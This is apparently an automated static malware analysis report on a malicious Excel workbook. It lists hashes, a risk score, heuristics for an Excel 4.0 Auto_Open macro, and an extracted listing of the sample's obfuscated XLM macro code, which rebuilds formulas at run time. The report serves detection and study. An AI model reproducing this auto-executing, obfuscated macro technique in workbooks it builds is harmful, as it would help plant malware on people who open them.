Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7aaa2b2800d4180b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:29 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 838fc785b7c03320b2ed4b61dd72b749 SHA-1: a4552bc6cf6073db7b72f11e73999a6a2e2af36a SHA-256: 7aaa2b2800d4180b3db63eeddb3e7cc37d0d1940fc4c74ad231ccc48c34c8ba9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6647 bytes
SHA-256: 872a8b6b9d572ae46ef4ecc0ed2384d12e89735d340e231515e1b3b05e37f89d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cWTLiBdKorX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B175 
' 0018     23 LABEL : Cell Value, String Constant - bSXLrKEo len=0 
' 0018     24 LABEL : Cell Value, String Constant - CEXKczwTN len=0 
' 0018     25 LABEL : Cell Value, String Constant - esLHCjMWWT len=0 
' 0018     25 LABEL : Cell Value, String Constant - FFZNIkyoBC len=0 
' 0018     25 LABEL : Cell Value, String Constant - fPqnyBFzOM len=0 
' 0018     27 LABEL : Cell Value, String Constant - fQfDkFDMNFSA len=0 
' 0018     25 LABEL : Cell Value, String Constant - fyRfcQffOs len=0 
' 0018     21 LABEL : Cell Value, String Constant - IjIPHX len=0 
' 0018     21 LABEL : Cell Value, String Constant - lrTLzZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - MRshRLYIe len=0 
' 0018     26 LABEL : Cell Value, String Constant - NFEoUKDWxGC len=0 
' 0018     21 LABEL : Cell Value, String Constant - nuOMhK len=0 
' 0018     21 LABEL : Cell Value, String Constant - OKBVSE len=0 
' 0018     26 LABEL : Cell Value, String Constant - otWLMaIZxXv len=0 
' 0018     26 LABEL : Cell Value, String Constant - sqioHylzkJX len=0 
' 0018     23 LABEL : Cell Value, String Constant - vkfAIEDz len=0 
' 0018     26 LABEL : Cell Value, String Constant - xuWoZFtKRbZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - yuiAZBnKMKA len=0 
' 0018     22 LABEL : Cell Value, String Constant - yyRlXVT len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZrSRv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cWTLiBdKorX,B89,"SET.NAME("OKBVSE",VALUE("0"))",""
'  cWTLiBdKorX,B91,"SET.NAME("lrTLzZ",OKBVSE)",""
'  cWTLiBdKorX,B96,"SET.NAME("fPqnyBFzOM",OKBVSE)",""
'  cWTLiBdKorX,B99,"SET.NAME("esLHCjMWWT",COUNTA(ZrSRv))",""
'  cWTLiBdKorX,B102,"SET.NAME("xuWoZFtKRbZ",COUNTA(IjIPHX))",""
'  cWTLiBdKorX,B105,[],""
'  cWTLiBdKorX,B110,"SET.NAME("fyRfcQffOs","")",""
'  cWTLiBdKorX,B114,"lrTLzZ",""
'  cWTLiBdKorX,B119,"SET.NAME("bSXLrKEo",HLOOKUP("*",ZrSRv,lrTLzZ,FALSE))",""
'  cWTLiBdKorX,B124,"sqioHylzkJX",""
'  cWTLiBdKorX,B128,"SET.NAME("vkfAIEDz",OKBVSE)",""
'  cWTLiBdKorX,B131,[],""
'  cWTLiBdKorX,B135,"vkfAIEDz",""
'  cWTLiBdKorX,B137,"yyRlXVT",""
'  cWTLiBdKorX,B141,"CEXKczwTN",""
'  cWTLiBdKorX,B145,"fQfDkFDMNFSA",""
'  cWTLiBdKorX,B147,"SET.NAME("FFZNIkyoBC",VALUE(HLOOKUP("*",IjIPHX,fQfDkFDMNFSA,FALSE)))",""
'  cWTLiBdKorX,B149,"otWLMaIZxXv",""
'  cWTLiBdKorX,B154,"fyRfcQffOs",""
'  cWTLiBdKorX,B157,"fPqnyBFzOM",""
'  cWTLiBdKorX,B160,NEXT(),""
'  cWTLiBdKorX,B163,"nuOMhK",""
'  cWTLiBdKorX,B165,"SET.NAME("f",INT(T(FORMULA(T(fyRfcQffOs)&"",""&T(nuOMhK)))))",""
'  cWTLiBdKorX,B168,"NFEoUKDWxGC",""
'  cWTLiBdKorX,B170,NEXT(),""
'  cWTLiBdKorX,B173,RETURN(),""
'  cWTLiBdKorX,B203,"SET.NAME("MRshRLYIe",B89)",""
'  cWTLiBdKorX,B208,"ZrSRv",""
'  cWTLiBdKorX,B210,"SET.NAME("IjIPHX",R53C13)",""
'  cWTLiBdKorX,B214,"SET.NAME("NFEoUKDWxGC",224)",""
'  cWTLiBdKorX,B218,"SET.NAME("yuiAZBnKMKA",2)",""
'  cWTLiBdKorX,B223,MRshRLYIe(),""
'  cWTLiBdKorX,B224,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.